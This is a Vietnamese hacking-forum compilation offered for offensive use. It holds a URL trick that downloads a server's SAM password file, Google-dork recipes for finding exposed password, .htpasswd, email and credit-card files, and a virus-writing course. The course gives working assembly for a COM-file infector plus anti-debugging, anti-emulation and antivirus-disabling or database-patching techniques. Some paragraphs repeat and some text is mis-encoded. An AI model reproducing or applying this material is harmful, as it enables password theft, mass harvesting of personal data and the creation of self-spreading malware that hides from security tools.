http://IP Website/php/php.exe?c:\winnt\repair\sam
Nó sẽ Download file *.SAM về cho bạn. Đó là file chứa Password tuy nhiên đã được mã hoá. Bạn hãy dùng chương trình L0phtCrack (Download trong mục Hack Tools) để giải mã nó
Thế là xong

Sử dụng công cụ tìm kiếm cho việc hack :

Tôi biết bạn đang nghĩ gì ? " Làm thế nào để tôi có thể dùng công cụ tìm kiếm để hack ?" điều này không khó, nó có thể giúp cho bạn những lợi ích thật sự nhanh và dễ dàng. Chúng cho phép bạn tìm thấy những điều mà bạn thực sự sẽ chưa bao giờ tìm thấy trước đó. Và với đặc điểm tìm kiếm mới của google, bạn có thể thấy được những điều đã được đưa xuống. Tôi sẽ giải thích vài tình huống nơi tôi đã sử dụng công cụ tìm kiếm để có thể đột nhập và xem những gì mà admin muốn giữ bí mật
Bây giờ một phần lớn của điều mà nghe có vẻ như tôi là scripts kiddie :smile: và với kỹ thuật này nó có vẻ là khá hữu dụng. Không có gì là sai với việc tìm con đường dễ bây giờ và về sau.
Vì vậy chúng ta bắt đầu với ví dụ đầu tiên của việc sử dụng công cụ tìm kiếm để hack. Cơ sở dữ liệu là những file chứa dữ liệu trong đó,và chúng thường là thông tin, cơ sở dữ liệu hay là những gì ? (info.db,database.txt,list.txt)…. những cơ sở dữ liệu đó có thể chứa rất nhiều thứ khác nhau và khi để cả thế giới biết thì chúng có thể bị khai thác.
chúng ta hãy nói về công ty AAA, họ bán giấy trên web sites của họ. Công ty AAA đã sử dụng scripts từ http://www.freescripts.com/

vậy bước đầu tiên của chúng ta là gì ?
Chúng ta kiểm tra công ty AAA và thấy rằng họ đang sử dụng scripts từ http://www.freescripts.com/ và đầu tiên chúng ta kiểm tra Net để biết khai thác scripts. Nhưng bạn có biết chúng bằt đầu từ đâu không ? Tìm kiếm tên của một file trên google
"download submitform3.php3"
Nếu nó là một tên thông thường ta sẽ tìm được vài mẫu lệnh của scripts mà chứa ở trên tất cả các scripts,ví dụ : "scripts coded by redranger" và tìm kiếm nó
Ok bây giờ bạn đã có tên trang web chứa scripts, tìm trong trang chủ của nó,tìm kiếm để biết khai thác và bạn cảm thấy thế thật là mất thời gian của bạn, cố gắng lần này, download scripts ở trên trang chủ của nó và nhìn toàn bộ để khai thác
Tôi đã thực sự kinh ngạc vì tỷ lệ của scripts có lỗ hổng bảo mật trong chúng (một cách hay nhiều cách khác nhau)

Bạn chưa từng tìm kiếm và khai thác thành công ?
Không sao cả, người bạn google sẽ giúp chúng ta.
Đến trang http://www.google.com/,đánh "allinurl:php site" và Enter : http://www.itvnonline.net/bai%20viet/www.google.com nó sẽ tìm bat cu php scripts tren cong ti AAA.
Bạn cũng có thể tìm kiếm allinurl:cgi hoặc jsp hoặc bất cứ scripts nào bạn muốn tìm. Con đường tốt nhất cho mục tiêu ngẫu nhiên là khai thác được scripts mới nhất từ bugtraq và allinurl:script.cgi……… tôi không đề nghị như vậy, bởi vì như vậy thực sự là không hợp lý, một người nào đó có thể làm vậy và bạn không có lý do gì để khai thác nhiều trong số trang đó……nhưng có thể bạn sẽ phải đi ngang qua trang web củ kẻ địch
Tro lai co so du lieu,noi ve scripts trong cong ti AAA dua vao tu form cua truong khi ma nguoi su dung mua mot cai gi do.Nguoi su dung se dua vao ten,ngay sinh,dia chi,so dien thoai,the tin dung cua ho.scripts se luu tru nhung thong tin trong userdb.txt
Bay gio ban co the dung google voi allinurl:urluserdb.txt site:congtiAAA.com va nhin vao vi tri file nay dang luu tru,neu ban o thay co ket qua thi do la vi ho da thay doi ten cua db file hoac la ho dang chua chung trong thu muc o the doc duoc
Neu ban tim kiem co ket qua,co gang tim toan bo Net voi allinurl:userdb.txt
Hacker co the co duoc tap hop kha nhieu so the tin dung o trong tung thoi gian ngan voi ki thuat nay
Vao 1 ngay toi gui thong tin len trang web cua toi va toi nhan duoc 20000 email tu tim kiem file co so du lieu mac dinh de gui nhung scripts
Day la tin duoc gui tu ngay do
I decided to do a little searching google today….I found thousands of password.txt,passwd.txt,pass.txt and other files people don't want me seeing. Then while directory browsing a site I found maillist/address.txt which had like 20 email address in it …I think it is solution scripts powerlist scripts:
$address_file="address.txt" unless $address_file;
$pwd_file="password.txt" unless $pwd_file;
so I searched for address.txt and found tons of site with email lists.After downloading some popular mailing list scripts I checked them to see what their default mailing list database files were and I searched for those on google.I gathered over 20000 email address……I dunno if this is a lot in the spamming world, but I'd say It's something people should be alittle concerned about.

(ngay hom nay toi quyet dinh tim kiem 1 chut voi google….toi da tim thay hang ngan password.txt,passwd.txt,pass.txt va rat nhieu files ma moi nguoi o muon toi nhin thay.Sau do trong khi thu muc tim kiem site toi da tim thay mailinglist/address.txt va co khoang 20 email trong do,toi nghi day la kha nang scripts de giai quyet
$address_file="address.txt" unless $address_file;
$pwd_file="password.txt" unless $pwd_file;
sau do toi tim kiem address.txt va toi nhin thay nhieu trang web voi list mail
sau khi download 1 so scripts trong list nhung email pho bien,toi da kiem tra chung va thay co gia tri mac dinh cua file co so du lieu o do va toi da tim duoc rat nhieu cai nhu the tren google
toi da thu thap duoc hon 20000 dia chi email ……toi muon noi rang moi thu co lien quan voi nhau)
tim kiem allinurl:htpasswd se dan den rat nhieu cau hinh cua trang web ma no cho fep ban xem ".htpasswd file".Co rat nhieu admin va user ngu ngoc se su dung login giong nhau,password cho tai khoan cua ho nhu ho da lam voi ".htpasswd"
dieu nay co nghia la neu 1 lan ban co .htpasswd va crack no,ban co the truy cap vao tai khoan cua ho.
Toi quyet dinh day co the la 1 phuong phap tot cho nguoi duoc phep tim kiem thu muc,ban co the doc duoc khoa hoc hay tai http://www.lameindustries.org/tutorials/victimcom/index.shtml
Toi da tim kiem "index of" tai google va cuoi cung thay rang
"of" la 1 tu rat thong dung va se o duoc dua vao tim kiem cua ban.
Vi the nen toi biet rang tim kiem "index" se o giup ta tim duoc nhung gi ta muon .vi the nen toi da nghi den cai thu 2 va co gang tim kiem thu muc ro rang ma toi muon xem
"index of/password" la tim kiem dau tien cua toi…….16000 ket qua
toi nghi dieu nay co the lam trong 1 lat è nao bay gio chung ta tim den mon thu vi hon
"index of/password" "index of/passwd" "index of/warez" "index of/boobs"
eeeee va day la buoc cuoi cung
o 1 buoc tiep theo toi nhan duoc thong tin o http://budkwan.virtualave.net/
anh ta noi voi toi lam the nao de mua xe su dung truong dua vao la an de dinh gia,vi the tim kiem type=hidden name=price boc lo ra it hon 100 trang voi loi nay
toi chac chan rang ban co the su dung cac phuong phap tim kiem khac
ho cho fep ban tim nhung holes trong form html ,password mac dinh
co so du lieu mac dinh and tim nhung loi bao mat rat nhanh va don gian

Hướng dẫn lập trình Virus, Dành cho newbie

Bạn có muốn trở thành VXer? Mục đích bài này tôi muốn giới thiệu cho newbie
về cách viết VR. Yêu cầu trước hết là biết lập trình ASM. Đoạn ấy tôi
không hướng dẫn được các bác tự mua sách học lấy. Tôi không đưa dạng
từng lệnh một đâu. Làm như vậy mất hết tính sáng tạo của mọi người đi.
Chúng ta sẽ bắt đầu từ các định nghĩa cơ bản. Xin lỗi chua thêm 1 câu: suy
nghĩ kỹ khi thực hành, tôi không chịu trách nhiệm về những gì các bác làm
Bạn có muốn trở thành VXer? Mục đích bài này tôi muốn giới thiệu cho newbie
về cách viết VR. Yêu cầu trước hết là biết lập trình ASM. Đoạn ấy tôi
không hướng dẫn được các bác tự mua sách học lấy. Tôi không đưa dạng
từng lệnh một đâu. Làm như vậy mất hết tính sáng tạo của mọi người đi.
Chúng ta sẽ bắt đầu từ các định nghĩa cơ bản. Xin lỗi chua thêm 1 câu: suy
nghĩ kỹ khi thực hành, tôi không chịu trách nhiệm về những gì các bác làm

BÀI 1:
VR là gì?
E hèm... cũng khó đấy vì trong thực tế VR HẾT SỨC ĐA DẠNG. Tuy nhiên ta có
thể định nghiã nôm na VR là một đoạn code có khả năng tự sao chép, nhân bản
(không đúng với trojan lắm nhỉ ). VR có thể nằm trong các tệp khả thi
(executable files) như COM hoặc EXE, boot sector, MBR...

Chọn ngôn ngữ lập trình
Thông thường VR được xây dựng bằng Assembler nhưng không nhất thiết như vậy.
VR trên thực tế có thể xây dựng bằng Pascal, C, VB... thậm chí có VR còn được
viết bằng tệp BAT. Tuy vậy tôi khuyên nên chọn ASM với các lý do sau:
Kích thước nhỏ: ngôn ngữ ASM sẽ cho ta khả năng lập trình với kích thước
nhỏ nhất có thể. Đây là một đặc tính quan trong của VR. Bằng ASM ta sẽ bớt
đi rất nhiều code không cần thiết và trùng lặp do các trình biên dịch ngôn
ngữ bậc cao sinh ra. Trong quá trình tối ưu mã code ta có thể tối ưu đến từng
byte mã lệnh. Lựa chọn các lệnh có cùng kết quả với kích thước nhỏ
nhất....
Khả năng kiểm soát: Ta có thể kiểm soát từng lệnh, move code từ vị trí này
sang vị trí khác, vừa chạy vừa patch code ( patch on-the-fly ). Mã hoá code từng
phần ....
Tính linh hoạt: đây là ưu điểm mạnh nhất của ASM khi lập trình. Là một ngôn
ngữ phi cấu trúc, khả năng sáng tạo trên ASM là không bị giới hạn.
Cuối cùng nhiều khi VR không hoàn toàn là một chương trình (boot VR chẳng hạn)
nên chẳng có lý do gì để chọn một ngôn ngữ bâc cao cả trừ phi bạn quá
lười.

Một Vxer cần có gì
Như vậy, hãy trang bị cho mình chút kiến thức về ASM rồi ta bắt tay với vài
công cụ tối thiểu sau:
Chương trình dịch ASM. Bạn có thể chọn TASM, MASM hoặc một chương trình dịch
bất kỳ tuỳ thích. Nói chung với tasm 3.1 là đủ với một dos VR
Chương trình link. Có thể là Tlink hoặc link.exe
Một tool debuger. Có nhiều lắm, debug, symdeb... (dos) softice, win32dasm... (win)
Một chương trình soạn text (quickedit, notepad, utraedit....)
Kiếm vài mẫu VR cơ bản, đừng bắt đầu từ VR phức tạp quá nếu không bạn
sẽ mệt mỏi vì debug thuật toán mã hoá và vượt qua một đống mã anti-debug.
Kiếm vài con cô cổ như LittleGirl, onehalf...
Tool dump bộ nhớ. Nếu không có thì sài tạm chức năng của debuger vậy
Bảng tra cứu ngắt trong vài quyển lập trình hệ thống hoặc dùng tech-help
Chương trình diệt VR (các AV xịn chứ không phải BKAV đâu) để kiểm tra xem VR
của bạn đã thực sự tàng hình trước các kiểm tra heuristic chưa
Email của tôi nếu cần giúp đỡ
Còn gì không nhỉ? Thôi tạm thế đã

Có một điều Vxer nên ghi nhớ KHÔNG MÁY MÓC. Bạn đã biết làm VR nhưng đừng
máy móc theo dập khuôn. Sáng tạo càng kỳ quặc VR của bạn càng nguy hiểm. Đảo
code đi thoải mái miễn đạt kết quả. Nghĩ ra càng nhiều tips & trịck càng tốt.
Tôi hy vọng sẽ lần lượt giới thiệu đủ các VR file trên dos, boot VR, VR file
trên win, VR file trên Linux, trojan và cuối cùng là VR trên nhiều hệ điều hành
DOS-WIN-UNIX.

Ta bắt đầu với một VR file đơn giản. Một VR file thường làm gì:
1. Mở file cần lây nhiễm
2. Kiểm tra xem đã từng nhiễm chưa
3. Nếu rồi thì bỏ qua
4. Lưu ngày giờ của file
5. Lưu đoạn code đầu chương trình (COM) hoặc header (EXE)
6. Nhét lệnh nhảy tới VR của ta đè lên code đã lưu (COM) hoặc sửa header (EXE)
để VR có thể bắt đầu trước chương trình gốc
7. Nối thêm VR của ta vào file
8. Cập nhật ngày tháng cũ
OK, ta đã có một VR đơn giản. Tôi sẽ phân tích từng mục ở các phần sau.

Thực ra có một loại VR tồi tệ nhất là overwriting VR. VR này thường ghi đè lên
tệp gốc dẫn đến què quặt dữ liệu. Bạn định tranh luận với tôi là còn
có rất nhiều hình thức lây lan khác ư? Tôi biết nhưng đây chỉ là bài cho
newbie đừng quên điều đó.

Tiếp tục nhá, các thao tác khác một VR có thể làm là gì:
Thường trú: Nhiều người nghĩ rằng VR là phải thường trú nhưng không hẳn
vậy. Chính vì thế tôi không liệt thao tác này vào trong nhóm các thao tác thường
làm.

Lây nhiễm: Một VR có thể lây nhiễm nhiều cách (ở trên là lây nhiễm tệp khả
thi) qua files, email... hoặc boot sector (đĩa mềm), macro... Nạn nhân sẽ chạy file
lây nhiễm mà không biết. Alê hấp, VR nắm quyền điều khiển

Nắm quyền điều khiển: Một khi VR đã chạy ta có thể làm mọi điều ta muốn.
Phát huy trí tưởng tượng thoải mái. Bạn có thể lấy mọi thông tin của nạn
nhân (trojan hay làm) từ pwd email đến thư tình... thậm chí mở một backdoor để
điều khiển máy tính từ xa.

Phá hoại: Một khi đã nắm quyền điều khiển, bạn có thể phá hoại những gì
bạn thích phá. Theo nhận xét của tôi, phá hoại là hình thức chỉ các beginner
mới thích làm. Nó hơi thất đức, và tất nhiên có VR hoàn toàn không phá
hoại

Một vài kỹ thuật nâng cao tôi sẽ phân tích thêm trong bài viết là:
ARMOURING: chống debug và disassembler. Đây là một trong các kỹ thuật tự bảo vệ
cho VR (xem thêm bài kỹ thuật lập trình VR). Tôi sẽ cung cấp chi tiết cho các
bạn một số cách bẫy ngắt lạ (int 1, int 0, int 6...), đánh lừa stack, đặt
điểm dừng (break points), fetch code on-the-fly

STEALTH: có một số thuật toán rất hay ( FCB, Handles, SFT, tự tháo gỡ...). Các kỹ
thuật này nhằm làm nạn nhân thấy tệp tin có vẻ như chưa bị nhiễm. Nó có
thể trả về kích thước chuẩn khi nạn nhân rờ đến hoặc thậm chí tự tháo
gỡ VR ra khỏi tệp khi nạn nhân mở file. Tôi sẽ trình bày kỹ về FCBStealth,
SFTStealth, Handle stealth. Tự tháo gỡ thì chắc các bạn sẽ tự làm được

ENCRYPTION: tôi sẽ trình bày vài cách mã hoá đơn giản và thông dụng. VR thường
mã hoá code của nó và chỉ giải mã ra khi chạy.

POLYMORPHISM: Đa hình là kỹ thuật tự thay đổi code mã hoá nhằm tạo ra càng
nhiều phiên bản càng tốt. Tự thay đổi liên tục là một chức năng sinh
tồn.

ANTI-HEURISTIC: Thuật toán chống tìm kiếm hueristic (xem thêm Kỹ thuật lập trình
VR)

TUNNELING: kỹ thuật bẫy ngắt

ANTI-TUNNELING: Cách giữ ngắt cho riêng mình, tránh AV hoặc VR khác

ANTI-BAIT: Điều cần tránh khi lây nhiễm (xem thêm kỹ thuật lập trình VR)

OPTIMIZATION: Một số kinh nghiệm tối ưu code
Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR
COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix
nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi
thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ
cắt ngắn chương trình đào tạo.....
Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR
COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix
nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi
thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ
cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên
DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các
bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng
cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật
lập trình VR của tôi.

Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối (append) chính nó
vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước
khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương
trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR
chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều
khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân
vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã
nhiễm VR.
Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình
vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.

. . . . . . . . . . . . . . . . . . . . . |Jump VR|
------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|File. . |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |Virus. |

Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình
gốc ra sau VR theo dạng

------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|Virus. |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |File. . |

Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng
kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được
hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước,
chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc.
Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực
ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.
Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:

Bat dau ct |-------------------|. . . . . |----------------------|
. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |<-|
. . . . . . . . . . . . . . . . . . . . . . . . . . |. Ma VR. . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|

Thao tác lây nhiễm của một VR .com là
1. Mở file .com
2. Lưu ngày giờ tạo file
3. Lưu các bytes đầu CT gốc (thường là 3)
4. Tính lệnh nhảy tới VR (cuối CT)
5. Ghi lệnh nhảy đè lênh các bytes đầu
6. Nối VR vào cuối CT gốc
7. Phục hồi lại ngày giờ tạo file
8. Đóng file

Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm
kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm

Thực hành:
Bắt đầu một VR đơn giản:

.model tiny
.code

org 0100h

jump_to_VR:
db 0E9h,0,0 ; jmp start
start:
call get_addr
db 0b8h ;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)
get_addr:
pop bp

Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc
ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú
bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định
bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt
của dos. Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có
gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first),
hàm 4Fh ngắt 21h (find next) để tìm kiếm.

Chú ý vì VR của ta được nối vào cuối một chương trình khác nên các offset
sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng
tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị
offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như
sau:

get_addr:
pop bp
;.......
; Code Virus here
;.......
lea dx, [bp+offset COMmask-offset get_addr]
;....

xxx db “*.COM”,0

Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì
phức tạp:
1. Mở file:
;offset tên file nạp vào ==> dx
mov ax, 3D02h ; Open R/O
int 21h
xchg ax, bx ; Handle in BX
2. Lấy ngày giờ tạo file
mov ax, 5700h ; get file time/date
int 21h
push cx
push dx
3. Đọc các bytes đầu
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer-offset get_addr]
int 21h

Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu
tệp đã bị lây nhiễm thì không lây nhiễm lại.

4. Tính lệnh jmp đến cuối file
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h ;<== Lấy kích thước tệp

Với:
JmpCode:db 0E9h,00,00

Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:
mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov dx,<địa chỉ jmpCode>
mov cx,4
int 21h
5. Nối VR vào cuối tệp
mov ah,40h
mov dx,<địa chỉ start>
mov cx,<Kích thước VR>
int 21h
6. Phục hồi ngày giờ
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
7. Đóng tệp
mov ah,3eh
int 21h

Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là
1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình
gốc
2. Ghi lệnh nhảy gồm3 bytes E9h, <2 bytes kích thước ct gốc> vào đầu ct gốc

Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và
nhảy về đó

Đến đây ta kết thúc một VR .com không thường trú.

Câu hỏi và bài tập:
1. Tập viết một chương trình bằng ASM hiển thị tất cả các tệp *.com trong
thư mục hiện hành và gốc c:\
2. Viết một chương trình nối một đoạn mã vào một tệp
3. Hãy nghiên cứu và trả lời các câu hỏi sau:
- Thông thường kích thước tốii đa của một tệp .com trên dos là bao nhiêu
- Lệnh nhảy gần có mấy bytes vvà ý nghĩa từng byte
- Khoảng cách tối đa của một lệnh nhảy gần
Câu hỏi nâng cao:
- Di rời một đoạn mã máy từ vị trí này sang vị trí khác trên bộ nhớ sẽ
có ảnh hưởng thế nào đến các lệnh nhảy và call

Kỹ thuật lập trình virus, cho người viết virus và phòng chống

Các newbie xem cũng được nhưng bài này không dành cho newbie. Đây không phải khái
niêm cơ bản, tôi chỉ muốn tổng kết một số kỹ thuật bảo vệ trong môn virus programming
Một chương trình diệt VR (AV) tốt là một AV tìm được nhiều VR. Một VR mạnh
là một VR được bảo vệ. Được bảo vệ có nghĩa là VR có các tính năng
chống phát hiện, chống emulate, chống disassemble, khó theo dõi hành vi. Ở đây tôi
xin đề cập đến một vài kỹ thuật bảo vệ như vậy đã từng được các V-er áp dụng trong virus programming.
Có nhiều cách lắm và rất đa dạng như bất cứ kỹ thuật nào cần đến sức
sáng tạo của con người. Trong phần này tôi sẽ đề cập tới các kỹ thuật chính:
- anti-emulator
- anti-heuristics
- anti-analysis (anti-disasm)
- anti-debug
- anti-monitor
- anti-antivirus (retro)
- anti-bait
Đây là giới thiệu chung nên tôi không đưa hết các code ví dụ. Có thể tôi sẽ
phân tích và đưa ra code ví dụ sâu hơn ở từng kỹ thuật nếu thấy có nhiều
bạn đọc quan tâm. Nếu bạn nào muốn thảo luận sâu hơn về kỹ thuật nào xin liên hệ trực tiếp.

Anti-Emulator bằng các tip-trick đơn giản:
Với phương pháp heuristic analysis các AV sẽ CÓ THỂ phát hiện ra mọi VR, kể cả
các VR chưa từng gặp. Nó làm việc giống như một bộ giải mã, quét và kiểm
tra các đoạn code khả nghi kiểu như các đoạn duyệt APIs, jump to ring-0, làm việc
với *.exe mở và ghi các tệp khả thi (.exe, .dll...). Heuristic analysis là một í
tưởng rất táo bạo tuy nhiên nghe có vẻ ... phi thực tế. Thế nhưng kỹ thuật
này cho đến nay đã có rất nhiều cải tiến và phát triển trong hầu hết các AV
nổi tiếng. Tuy vậy, nhiều AV có các bugs và nhiều khi không nhận các đoạn code
nguy hiểm. Một số gặp khó khăn khi bắt gặp các mã lệnh "hiểm" (undocumented
opcodes) và đa số chúng đều không thể quản lý stack chính các như khi VR chạy
thực. Lợi dụng các đặc điểm này nảy sinh một số tricks để qua mặt các Emulator như:
- Kiểm tra stack:
mov edx, esp
push cs
pop eax
cmp esp, edx
jne emul_present ; Có AV emulator
Đoạn code trên hoàn toàn vô hại thậm chí hơi ngớ ngẩn nếu bạn xem qua nhưng
trong thực tế chương trình của ban phát hiện được ngay có kẻ can thiệp vào
stack của ban trong khi chạy, vậy chương trình của bạn không chạy thực mà chỉ
đang trong chế độ emulator
- Tương tự thế bạn có thể lỻ?a AV bằng vài lệnh RETF (rất nhiều VR nội có
dùng)
- Sử dụng các opcode lạ (undocumeented opcodes) của processor như SALC, BPICE. Vô hại
với bạn nhưng khó hiểu với AV
......

Anti-Heuristics bằng kỹ thuật cao cấp:
Như vậy anti-emulator là đánh vào chỗ hổng của các giải thuật heuristic scanners.
Các AV có thể khắc phục nhưng rất khó khăn đặc biệt nếu bạn dùng vài kỹ
thuật cao hơn như SEH. Tạo ra lỗi giả rồi nhảy đến đoạn bẫy lỗi. Tôi
viết VR cách đây lâu rồi nên các kỹ thuậu mới trên win có khi không cập nhật
bằng các bác nữa. Tôi sẽ đi sâu vào DOS hơn một chút.
Trước kia trên DOS tôi thích sử dụng vài kỹ thuật bẫy ngắt với:
- Int 0 (divide by zero). Chỉ cần m᡻?t phép chia cho 0, bạn sẽ nhảy ngay đến code
mới mà emulator không theo vết được (ta có thể âm thầm descrypt ở đây)
- Dấu code gọi ngắt:
mov ax, 3D02h-key
add ax, key
int 21h ;Tránh để lộ thao tác đọc file
- Với 386/486 ngày xưa có thể cù?ng queue fetch (xin lỗi vì tôi hơi hoài cổ một
chút):
mov word ptr cs:[offset piq], 20CDh
piq:
nop
nop
code này ngày nay không dùng được. Bạn sẽ nghĩ chương trình sẽ kết thúc vì
lệnh int 20h (20CDh) ư? Không đâu! với 386/486 code chạy vẫn là nop
Thế nhưng ngày nay kỹ thuật này biến thể một chút vì các CPU pentium không có
queue fetch nhưng các emulator phát triển từ xưa vẫn nghĩ là có. Kỹ thuật đảo
lại là:
mov word ptr [offset prefetch], <mã lệnh jump>
prefetch:
int 20h
(sao bạn không cười? tôi có trình khó hiểu quá không nhỉ? )
- Tương tự ngắt int 0. Bạn có tthể bẫy int 1, int 6
Thôi kết thúc DOS. Trở lại win ta có thể dùng:
- Structured Exception Handling (SEH). KKỹ thuật này phổ biến quá rồi ha
- Threads and fibers
- Pentium+, copro, MMX, 3DNow! opcodes ((undocumented opcodes)
- Kỹ thuật đa hình metamorphism
- Nhảy bằng Callbacks
- .......
Chắc mọi người biết cả rồi vì tôi mới trở lại với "Nghệ thuật hắc ám"
gần nên kiến thức trên win không mới lắm.

Anti-Analysis
Ở phần này tôi muốn nói về chống disassemblers. Ai cũng biết mấy thằng
disassemblers thông dụng như IDA, Sourcer hay win32dasm. Nếu bạn là người xây dựng
chương trình disassemblers bạn sẽ làm thể nào. Tất nhiên dễ nhất là bắt đầu
từ đầu chương trình, dasm tuần tự. Nếu code tuần tự như tiến ta có kết
quả đẹp nhất. Nếu không sau lần chạy thứ nhất ta sẽ hiệu chỉnh lại code
theo các lệnh nhảy và call... Thử chạy sourcer, bạn sẽ thấy điểm yếu nhất
của disassemblers là rất, rất khó xử lý lệnh call và jump. Vậy phương pháp của
V-er là:
- Mã hoá càng nhiều càng tốt
- Sử dụng call với relative offsett kiểu
call label
gdelta: db 0b8h ;MOV opcode
label: pop ebp
...
mov eax, [ebp + variable - gdelta]
(Cách này có ở đa số VR rồi)
- Nhảy vào ... giữa mã lệnh:
jmp opcd+1 ;jump into instruction
opcd: mov eax, 0fcebfa90h
Bạn có thể thấy ngay thực ra đây không phải lệnh mov mà lệnh ta là 0fcebfa90h

- Chèn các mã kiểu (db 0b8h) vào nnhiều nơi sau các lệnh ret, jmp, ...
- Patch code runtime (tương tự kiể?u queue fetch ở trên
- ...

Anti-Debug
Các AVer đã tóm được một mẫu VR của bạn. Hix.. bây giờ thì quá khó. Tuy vậy
ta cũng có thể chống đỡ trong ... tuyệt vọng. Với Anti-Debug, nếu AVer không cao
thủ họ mới nghi ngờ thôi thì cũng có thể bỏ cuộc. Vả lại có chết cũng cho
oanh liệt, gây khó khăn chứ. Nếu không disassemble được người diệt sẽ debug.
Cách thông thường là tìm xem có phần mềm debugger thông dụng kiểu softice thì
chuồn lẹ. Các cách nhận biết debugger có thể là:
- Gọi luôn API của debugger
- Kiểm tra debugger context
- Sử dụng SEH (xem trên)
- Gọi VxD service (Ring-0 only)
- Kiểm tra softice trên bộ nhớ b᡺?ng CreateFileA
- Chọc vào các thanh ghi debug (Ringg-0 only)

Anti-Monitor
Cũng vậy thôi, ta tìm xem có thằng AV nào thông dụng đang chạy trên bộ nhớ thì
chuồn. Có thể dùng hàm API FindWindowA mà tìm. Nếu thấy thịt nó luôn bằng cách
sử PostMessageA đến window handle của nó

Anti-Antivirus
Chủ động tìm database của AV trên đĩa mà thịt (có thể AV sẽ không chạy
được nữa). Hay nhất là patch được database (AV chạy bình thường nhưng không
tìm được VR nữa. Một số db thông dụng:
*.AVC - AVP viral database
AVP.CRC - AVP crc file
*.VDB - DrWeb viral database
